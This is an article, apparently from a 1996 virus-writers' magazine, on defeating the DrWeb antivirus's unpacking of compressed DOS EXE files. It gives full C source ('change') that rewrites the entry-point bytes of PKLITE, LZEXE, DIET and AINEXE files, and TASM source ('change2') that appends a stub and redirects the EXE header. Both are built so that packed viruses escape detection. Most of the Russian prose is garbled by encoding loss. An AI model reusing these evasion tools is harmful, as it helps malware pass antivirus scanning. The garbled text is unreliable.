
                        
       Virus Magazine   Box 10, Kiev 148, Ukraine       IV   1996
            
                             
                                            
                                 
           
          (C) Copyright, 1994-96, by STEALTH group WorldWide, unLtd.

=============================================================================

    ͻ
         -   
          by MrStrange     
    ͼ

       ᦠ⨨ 䠩,   ࠯࠭ , 㦥
 ਫ (.  IV #1, 䠩 iv_1.004, written by LovinGOD).
      .   砫 
 ᪮쪮 ⮢.

      ⨥ - 訩 ᪨ ਥ. ᫨ 몫 
 WEB' ஢ 㯠 䠩 ( ன, 㭪
 ࠬ,    F9),  ᫥ 㯠 ᠬ
 ⮣  ணࠬ ⨯ LZEXE WEB   
 ࠧ廊.   ᫨    2025 ᮢ, 
    18  1996 .   WEB' 
 㬥 "ࠧ" 䠩, ᦠ 묨 묨
 㯠騪.   ⨬,     㯠騪,
 ண WEB  .  ࠦ Norton Commander 
    WEB' ᮬ, ᦨ  訬
 㯠騪, ᥬ  設      塞 
 Norton  .  ᬥ  㤥!     㤥
     㤠,  ᫥ १㧪 -  
  .

            ᯮ짮 㯠騪
 ( , 祬 ). ⨬, ᠭ ᢥ쪨 .
 㦭    ,  ᥡ . ⢥, WEB 
   (    ? ᫨  ᠫ ,
  ⥪ WEB',    ,   ⨬
 , ᬮ IV #4, 䠩 web.you; IV #5, 䠩 iv_5.05a 
 iv_5.05b; IV #6, 䠩 iv_6.04a  iv_6.04b).   
    F3  EXE-譨 ᮢ,   譮
 , ᫨   䠩 ᫥ ⥪⮢ ப 室
 猪 稭.  ⠫쭮  ⠪ 䠩 -  㤠 
 ᫥⢨.   ᫥ ᦠ 祣 ⠪ ⥫쭮  
 㢨 -  ࠩ  ᬥ   ⥪⮬.   १
 ஥ ६     TOP-2000 ⨭, 㡨
  쪠 襣,   Norton'-  㤠  . 
  -   㦥 ᠭ ਠ.  ᠬ ᥡ 
 ,   ࠤ 㤥 -  ⥬    
 "  㤠".

      Dirty Nazi  ᢮ 쬥 (. IV #8, ⠫ LETTERS,
 䠩 d_nazi.iv8) 㦥 㯮  쭮   
 "  EXE-䠩" AINEXE, ண   DrWEB
 (ᬮ  ,  ainexe  web - ᮮ⢥).
   ᫠!   㤥 ?  WEB
 ࠧ맠 "" 䠩 - 㤥 ᪠  ""?
  㤥  ᮡ⢥?    ६ ⠭?

        ।  ⮤,   㦥 ᯮ짮
    WEB' 䠪 ᦠ.   祭  
 ॠ樨.

                         Ŀ
                          
                         

       WEB । ᦠ 䠩 㦥   ⥪⮢
 ப   (ਬ, "LZ91"  lzexe, "diet"  ...
 ( ᠬ)  "PKLITE Copr. 1990-91 PKWARE Inc. All
 Rights Reserved"  pklite').  WEB ⠫ 祭,  ᬮ 
 ७,    .    ᢮ ᫮⮩ ⨪ 
  ᯮ!   ᪥ ᬮ " - 
 ॢ" ( (cl) by Transformer, iv_5.09b),   㬠. 
  !

       ᯮ塞   䠩, ᦠ⮣ LZEXE, ᥣ
 ⠪:

06             PUSH   ES
0E             PUSH   CS
1F             POP    DS

        -  ⠪ 䠩 ᫥⥫쭮 06 0E 1F
  0E 1F 06,  १ 稫:

0E             PUSH   CS
1F             POP    DS
06             PUSH   ES

        ᠬ,     ᯮ,  WEB
 ⪭!     ᤥ  䠩,
 ᦠ묨 pklite', diet'  "".  ""  
  㠫쭮,  ६ ...   ଠ  
 㯠騪:

PKLITE:
      ᯮ塞 :

B8 ?? ??         MOV    AX,????
BA ?? ??         MOV    DX,????
05 ?? ??         ADD    AX,????

      祢,   ⠬  ன ⮢ 
 ன -   .

AINEXE:
      ᯮ塞 :

A1 02 00         MOV    AX,[0002]
2D ?? ??         SUB    AX,????
8E D0            MOV    SS,AX
BC ?? ??         MOV    SP,????

      , ४ ᮢ⠬ ३設,   뢠
  ன ⥪. , 祬? ⮬  뢠
 ⮬᪨  ᫥   SS.  
  .  祬   뢠,  ⮬ ᫥
  int 1 - ஢.  ⨬    ⭮
 ⨢᭮ ணࠬ, ᯮ ⠪ 樨:

 push ss
 pop ss
 pushf

  ࠭  ⥪ ⨭ ﭨ ॣ 䫠, ⠪
   ᫨  ணࠬ ᫥ 
 pushf    ⥪ ॣ 䫠, ᫥ push ss pop ss
   "" pushf.      ᫥
   ss, ⨯ mov ax,ss mov ss,ax.

       ୥  訬 ࠭.  ᭮ 
 ⠬   8E D0  ६ BC ?? ?? (祬   
  -  㤭), 稬 :

 MOV    AX,[0002]
 SUB    AX,????
 MOV    SP,????
 MOV    SS,AX

       -⥭ 室.

DIET:
       ᪮쪮 ᫮.   ਤ㬠,   ᠬ
  .     entryPoint + 0ch 室
 ⠪ ᫥⥫쭮:

9C             PUSHF
06             PUSH   ES
1E             PUSH   DS
57             PUSH   DI
56             PUSH   SI
52             PUSH   DX
51             PUSH   CX
53             PUSH   BX
50             PUSH   AX
0E             PUSH   CS
FC             CLD

      ⭠ ᫥饩:

9C             PUSHF
FC             CLD
06             PUSH   ES
1E             PUSH   DS
57             PUSH   DI
56             PUSH   SI
52             PUSH   DX
51             PUSH   CX
53             PUSH   BX
50             PUSH   AX
0E             PUSH   CS

       WEB 㤥 , ᨬ  ⮣,   
 "஬" (   "") ⥪⮢ ப  砫
 䠩,  㪠뢠  㯠騪.     ᮢ
 ""  ⥪ (  ᠭ  㯮⮬ 㦥
 iv_1.004), ⠪   ⨢ 砥 䠩,  ᫥
 ᠭ ,  ᯠ뢠   ⠭
 ᯠ騪 (unlzexe  lzexe, diet  pklite  ᠬ
 ᯠ뢠 ᦠ  䠩,   ainexe   ).

      ᠭ      
 ந "",  ᫨  ,   
 ᯮ짮  "譮" ணࠬ (. १ 1).  ⠬
  ஢, , 㬠,   ⥭ 
 襨.    Turbo C (㬠, Borland C++
 ⮦ , ,  ᮦ,  ᢮ 嫮 設 
  ).  EXE-譨 ᭠砫 ᮦ (᪥,  ⥬ 
  - the ukrainian equivalent is  -  
  㪠, ᯮ diet, pklite, lzexe  ainexe), ⥬
 ࠡ⠩ ணࠬ change, ⥬  ⥪⮢
 ᨣ.

 १ #1 

/*     Ŀ
               Ŀ         
       ĴChange (c) by MrStrangeĴ
                        
       
*/
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <fcntl.h>
#include <string.h>
#define nmbr    4        /* ⢮ 㯠騪,   change */
int getftype(int handle,int *where,char *sgn[],int *size);
int myCompare(char *strReal,char *strMask,int size);
void main(int argc,char **argv)
{
  int f,ftype;
  int header[0x1c/2];
  char *help = "The usage is:\n\n"
                "%s filename.ext\n\n"
                "where filename is a file, compressed via pklite, diet, "
                "lzexe or ainexe\n";

  char *names[nmbr] = {"pklite","lzexe","diet","ainexe"};
                                   /*  㯠騪*/
  char *sgn[nmbr] = {"PKLITE","LZ91","diet","AIN2"};/* ᨣ*/
  int where[nmbr] = {30,28,28,32}; /* 饭 (. 砫 䠩), 
                                     室 ᨣ */
  int off[nmbr] = {0,0,12,0};      /*  i-⮣ 㯠騪 뢠 
                                        entryPoint+off[i] */
  int readBytes[nmbr] = {6,3,11,11}; /* ⢮ 뢠  */

  char buffer[14];  /*  㤥 뢠  */
  char mask[nmbr][11] ={ {0xb8,0,0,0xba,0,0},{0x06,0x0e,0x1f},
                      {0x9c,0x06,0x1e,0x57,0x56,0x52,0x51,0x53,
                       0x50,0x0e,0xfc},
                      {0xa1,0x02,0x00,0x2d,0x00,0x00,0x8e,0xd0,0xbc,0,0} };
   /* mask[i] - 砫   i-⮣ 㯠騪. 0 ᨬ ?? -
      . 楤 ࠢ myCompare */
  int size[nmbr] = {6,4,4,4}; /*  ᨣ */
  char arcname[6];
  long entryPoint;
  int i;

  printf("Change Compressed File, Copyright (c) by MrStrange.
          Produced in Kiev\n\n");
  if(argc<=1){
    printf(help,argv[0]);
    exit(1);
  }

  if (  (f = open(argv[1],O_RDWR|O_BINARY)) == -1){
    printf("%s - unable to open file\n",argv[1]);
    exit(1);
  }
  read(f,(void *)header,0x1c);
  if(header[0] != 0x5a4d){
    printf("%s - not an exe-file\n",argv[1]);
    close(f);
    exit(0);
  }
  if ( (ftype = getftype(f,where,sgn,size)) == -1){
    close(f);
    printf("%s - Not a compressed file\n",argv[1]);
    exit(1);
  }
/*                                                                         */
/*                                                                         */
 entryPoint = header[0x14/2] + ((long)(header[0x16/2] + header[0x8/2]))*0x10;

  lseek(f,entryPoint+off[ftype],SEEK_SET);
  read(f,(void *)buffer,readBytes[ftype]);
  if(myCompare(buffer,mask[ftype],readBytes[ftype])){
    printf("By header %s is %s, but the code doesn't match\n",argv[1],
            names[ftype]);
    exit(1);
  }
  printf("%s is %s by header and by code\n",argv[1],names[ftype]);
  switch(ftype){
    case 0:                     /* PKLITE. */

 /* 塞 ᫥⥫쭮 A1 02 002D ?? ??8E D0 BC ?? ??
                             ^        
                             

   砥:
                      2D ?? ?? A1 02 00 8E D0 BC ?? ?? */

      { /*  㦪 ⠢, ⮡  뫮 । 2 ६ */
      char a1,a2;

      buffer[0] = 0xba;
      buffer[3] = 0xb8;
      a1 = buffer[1];
      a2 = buffer[2];
      buffer[1] = buffer[4];
      buffer[2] = buffer[5];
      buffer[4] = a1;
      buffer[5] = a2;
      }
      break;
    case 1:                     /* LZEXE */

/*     塞 06 0E 1F  0E 1F 06 */

      buffer[0] = buffer[1];
      buffer[1] = buffer[2];
      buffer[2] = 0x06;                /*  buffer[0] */
      break;
    case 2:                     /* DIET */

/* 室 ᫥⥫쭮:
   9C 06 1E 57 56 52 51 53 50 0E FC
     ^                            
     
    室:
   9C FC 06 1E 57 56 52 51 53 50 0E
*/
      for(i = 10;i>=2;i--)
        buffer[i] = buffer[i-1];
      buffer[1] = 0xfc;                /*  buffer[10] */
      break;
    case 3:                     /* AINEXE */

/*   室:
         A1 02 00 2D ?? ??8E D0BC ?? ??  ^
                                    
                             
     室:
         A1 02 00 2D ?? ?? BC ?? ?? 8E D0
*/

      buffer[6] = buffer[8];
      buffer[7] = buffer[9];
      buffer[8] = buffer[10];
      buffer[9] = 0x8e;
      buffer[10] = 0xd0;
   }

  lseek(f,entryPoint+off[ftype],SEEK_SET);
  write(f,(void *)buffer,readBytes[ftype]);
  close(f);
}

int getftype(int f, int *where, char **sgn,int *size)
{
  int i,ftype;
  char possibleName[10];

  for(i = 0,ftype = -1; i<nmbr && ftype == -1;i++){
    lseek(f,(long) where[i],SEEK_SET);
    read(f,(void *)possibleName,size[i]);
    possibleName[size[i]] = 0;
    if(!strcmp(possibleName,sgn[i]))
      ftype = i;
  }
  return ftype;
}
int myCompare(char *strReal,char *strMask,int size)
{
  int cmp,i;

  for(cmp = i = 0;i<size && !cmp;i++){
    if(!strMask[i]) continue;
    if(strMask[i] != strReal[i]) cmp = 1;
  }
  return cmp;
}


                         Ŀ
                          
                         

       ⮤  㭨ᠫ    ⮩.
 ᯮ塞 䠩 ᦨ  㯠騪.  ⥬  
 楯 ࠣ⨪,  祣  ,  ⮫쪮
 । ࠢ ணࠬ. WEB  ஢થ ⠪ 䠩,
 祢, ஬ ஬.   ணࠬ, 
 ந  ⠪  , ਢ쭮. 쬨
 ᢮  ,  楯  EXE-䠩, 㡥 
 㭪樨, ஬ ᯥ祭   ணࠬ-⥫ 
 ᮡ⢥ ਢ離  䠩 -  .   , 
   ணࠬ change2.asm (१ #2): 1. १
 ࠣ    䠩 change2.asm 2. ஢  2
 室: tasm change2.asm /m2 tlink change2.obj ᯮ짮:
 change2 filename.exe

       ⠬ ᨫ쭮  頫  -뢮   
 ,     ஢-砩  ⠭!  . 
 ᯮ⥫쭮 䠩 楯 ᥢ楤 myProc. ४
 ᪠ , myProc  ⮫쪮 । ࠢ
 ணࠬ,   뢮  ࠭ १  㭪 DOS
 ப dummySring == "$", ..   뢠 㭪 9,
  祣  .  ᤥ      稭.
    ணࠬ tsup.exe (14KB) (Universal EXE files
 unpacker version 1.01. (C) 1993 Twilight Software Engineering
 and Pirating (TSEP)).    ᯪ뢠 exe-䠩, ᦠ
  㯠騪, ᨬ  ⮣, 饭  1-  2-
 ⮤  .  㪠 - ४ ᥬ.    
 ᮡ -  ⠥,  䠩 㦥 ᯠ ,
 ᫨  ணࠬ 믮 뢠 -   dummyString
 ࠢ  ⨢ tsup   .

 १ #2 

;       Ŀ
;               Ŀ         
;       ĴChange2 (c) by MrStrangeĴ
;                        
;       


               .286
@mov_ax         equ     0b8h
@mov_cx         equ     0b9h
@mov_sp         equ     0bch

MZ              equ     0
PartPag         equ     2
PageCnt         equ     4
RelElements     equ     6
HdrSize         equ     8
MinMem          equ     0ah
MaxMem          equ     0ch
ReloSS          equ     0eh
ExeSP           equ     10h
CheckSum        equ     12h
ExeIP           equ     14h
ReloCS          equ     16h
FirstRel        equ     18h
_code   segment
        assume cs:_code,ds:_code
RdHdr   proc    near
        ; bx - file handle
        ; ds:[si] - buffer of 1ah elements
        ;
        ; OUTPUT: filled ds:[si]. NO ERROR CORRECTION (for simplicity)

        pusha
        mov     ax,4200h
        xor     cx,cx
        xor     dx,dx
        int     21h             ; LSEEK. Pointer to the beginning of the file
        mov     ah,3fh
        mov     dx,si
        mov     cx,1ah
        int     21h             ; Read from file
        popa
        retn
RdHdr   endp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start:
        push    cs
        pop     ds
        mov     dx,offset string
        mov     ah,9
        int     21h
        push    es
        pop     ds              ; ds - ᥣ PSP
        mov     dx,82h
        mov     ax,3d02h        ; ஥ 䠩
        int     21h
        jnc     AllRight1       ;  訡
        mov     dx,offset string1
        jmp     exit            ; ਩ 室
AllRight1:
        push    cs
        push    cs
        pop     es
        pop     ds
        mov     bx,ax
        mov     si,offset buffer
        call    RdHdr
        call    processHeader
        xor     cx,cx
        xor     dx,dx
        mov     ax,4202h
        int     21h             ; ६⨫ 㪠⥫   䠩
        mov     ah,40h
        mov     dx,offset myProc
        mov     cx,myProcLen
        int     21h             ; ᠫ myProc   䠩
        mov     ax,4200h
        xor     cx,cx
        xor     dx,dx
        int     21h             ; ६⨫ 㪠⥫  砫 䠩

        mov     dx,si
        mov     cx,1ah
        mov     ah,40h
        int     21h             ; ᠫ  

        mov     ah,3eh          ; 뫨 䠩
        int     21h
        mov     ax,4c00h
        int     21h

exit:
        push    cs
        pop     ds
        mov     ah,9
        int     21h
        mov     ah,4ch
        int     21h

processHeader   proc    near
        ; ࠡ⪠ .

        mov     ax,4202h
        xor     dx,dx
        xor     cx,cx
        int     21h
        mov     lenHigh,dx
        mov     lenLow,ax              ; dx:ax -  䠩

        mov     cx,512
        div     cx                     ; dx:ax   512
        or      dx,dx
        jz      do_not_inc             ; i,  a i i = 0
        inc     ax
do_not_inc:
        cmp     ax,[si].PageCnt
        jne     close_and_exit
        cmp     dx,[si].PartPag
        jne     close_and_exit          ; 室,  䠩  i
                                        ; ૥.

        jmp     short fileOK            ; i,    ૥
close_and_exit:
        mov     ah,3eh
        int     21h                     ; ਫ.
        mov     dx,offset string2
        pop     ax
        mov     ax,offset exit
        push    ax
        retn                            ; Bye, sir!


fileOK:
        mov     ax,[si].ReloCS
        mov     KeepCS,ax
        mov     ax,[si].ReloSS
        mov     KeepSS,ax
        mov     ax,[si].ExeIP
        mov     KeepIP,ax
        mov     ax,[si].ExeSP
        mov     KeepSP,ax

        mov     ax,lenLow
        mov     dx,lenHigh
        mov     cx,16
        div     cx
        sub     ax,[si].HdrSize
        mov     [si].ReloCS,ax
        mov     [si].ExeIP,dx
        mov     [si].ReloSS,ax
        add     dx,myProcLen+1000h
        mov     [si].ExeSP,dx

        mov     ax,lenLow
        mov     dx,lenHigh
        add     ax,myProcLen
        adc     dx,0

        mov     cx,512
        div     cx
        or      dx,dx
        jz      do_not_inc2
        inc     ax
do_not_inc2:
        mov     [si].PageCnt,ax
        mov     [si].PartPag,dx
        retn
processHeader   endp


hdrLen          dw   ?
lenHigh         dw   ?
lenLow          dw   ?
string          db       "Change Compressed File - 2, 'Copyright (c) by "
                db       "MrStrange. Produced in Kiev.",13,10,10,'$'
string1         db       "  ப ୮ 㪠 䠩",13,10,'$'
string2         db       "    ᮢ   䠩"
                db       13,10,'$'

;

buffer          db      20h dup (?)

myProc  proc    near
        call    $+3
        pop     di
        sub     di,3

        push    cs
        pop     ds
        mov     dx,offset dummyString - offset myProc
        add     dx,di           ;   dx - ᬥ饭 dummyString
        mov     ah,9
        int     21h             ; 祣襭쪨   뢮;
                                ; ⠪, ਪ뢠...


        push    es
        pop     ds

        mov     bx,ds
        add     bx,10h
db      @mov_cx
KeepSS  dw      ?
        add     cx,bx
        cli
        mov     ss,cx
db      @mov_sp
KeepSP  dw      ?
        sti
        pushf
db      @mov_cx
KeepCS  dw      ?
        add     cx,bx
        push    cx
db      @mov_ax
KeepIP  dw      ?
        push    ax
        iret            ; 㫨  ணࠬ
myProc  endp
dummyString     db      '$'
myProcLen       equ     offset theEnd - offset myProc
theEnd  label   byte
_code   ends
end     start



        ⮤  ᯮ짮  (⢥,
 ᭠砫 ).

      , ᫨   㣥  ᪨ ணࠬ 
  , ⮡   堪,  ᮢ ᯮ짮 
 "  ⪨"  ⮤.   㯭 . 
 , "஢"  pklite, diet, lzexe  ain,  
    "஢騭" ଠ-⮢⥫ 
   .     - ⮦.  - .
   , ᪮॥ ᥣ, 訡.  ᫨  ⠪  뫨
 饭  樨,  ᪨  ᦨ  ᢮
 aidstest ணࠬ lzexe,   LZ91.  "஢
 " ⮢  襫  ⨬ ,   ᭠砫 ,
 ᮬ⥫ ⥬  ᦠ⨨ ᢮ Adinf'. DrWeb ࠭
   ஢!   ஢થ 㯮
 ⨢ᮢ   : 㯠 lzexe.    
    diet, 㡥  祬 祭  -
 ६ 䠩 drweb.exe  - ࠫ쭮 (fuck.exe)
  ஢ ᠬ ᥡ.  ॥ ᥣ,   Web' 祭
   Teddy Matsumoto  ᯮ짮    뫪
   . , ᫨ ।饥 । 
 ஭,   訡.       ஬ WEB'a,
   ஬ diet, ,   ⢨⥫쭮 
 ⭮襭.